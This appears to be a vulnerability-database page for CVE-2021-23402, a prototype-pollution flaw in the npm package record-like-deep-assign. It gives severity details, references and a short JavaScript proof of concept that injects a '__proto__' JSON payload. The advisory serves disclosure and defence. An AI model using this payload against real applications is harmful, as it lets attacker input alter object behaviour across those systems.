🛡️ CVE-2021-23402 — record-like-deep-assign

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-1321 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Prototype Pollution in record-like-deep-assign

All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.

PoC

```js

const deepAssign = require('record-like-deep-assign');

let obj = {};

console.log("Before being polluted: " + obj.polluted);

EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}');

deepAssign({}, EVIL_JSON);

console.log("After being polluted: " + obj.polluted);

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability low.

Weakness class

CVE-2021-23402 is classified as CWE-1321: Prototype Pollution. Attacker input can modify an object prototype, changing behaviour for objects across the application.

Affected software

CVE-2021-23402 is recorded against 1 package.

  • record-like-deep-assign

Timeline and source

Published on 10 December 2021 and last revised on 13 March 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)
snyk.io (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CWE CWE-1321
Public Exploit ✅ No
Source OSV
Published 2021-12-10
Updated 2026-08-12
Modified 2026-03-13
Fix URL N/A

Affected Packages

Software From version Fixed in
record-like-deep-assign

Site Security Check

Is record-like-deep-assign part of your stack?

CVE-2021-23402 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.